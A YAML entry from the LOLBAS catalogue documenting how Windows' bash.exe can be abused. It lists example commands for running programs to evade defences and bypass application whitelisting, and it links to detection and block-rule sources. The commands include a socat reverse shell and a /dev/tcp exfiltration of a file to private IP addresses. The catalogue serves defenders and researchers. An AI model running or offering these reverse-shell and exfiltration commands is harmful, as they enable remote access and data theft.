LOLBAS/yml/OSBinaries/Bash.yml

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---
Name: Bash.exe
Description: File used by Windows subsystem for Linux
Author: 'Oddvar Moe'
Created: 2018-05-25
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Commands:
- Command: bash.exe -c calc.exe
Description: Executes calc.exe from bash.exe
Usecase: Performs execution of specified file, can be used as a defensive evasion.
Category: Execute
Privileges: User
MitreID: T1202
OperatingSystem: Windows 10
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- Command: bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"
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Description: Executes a reverseshell
Usecase: Performs execution of specified file, can be used as a defensive evasion.
Category: Execute
Privileges: User
MitreID: T1202
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OperatingSystem: Windows 10
- Command: bash.exe -c 'cat file_to_exfil.zip > /dev/tcp/192.168.1.10/24'
Description: Exfiltrate data
Usecase: Performs execution of specified file, can be used as a defensive evasion.
Category: Execute
Privileges: User
MitreID: T1202
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OperatingSystem: Windows 10
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- Command: bash.exe -c calc.exe
Description: Executes calc.exe from bash.exe
Usecase: Performs execution of specified file, can be used to bypass Application Whitelisting.
Category: AWL Bypass
Privileges: User
MitreID: T1202
OperatingSystem: Windows 10
Full_Path:
- Path: C:\Windows\System32\bash.exe
- Path: C:\Windows\SysWOW64\bash.exe
Code_Sample:
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- Code:
Detection:
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- Sigma: https://github.com/SigmaHQ/sigma/blob/960a03eaf480926ed8db464477335a713e9e6630/rules/windows/process_creation/win_pc_lobas_bash.yml
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- IOC: Child process from bash.exe
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Resources:
- Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
Acknowledgement:
- Person: Alex Ionescu
Handle: '@aionescu'
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- Person: Asif Matadar
Handle: '@d1r4c'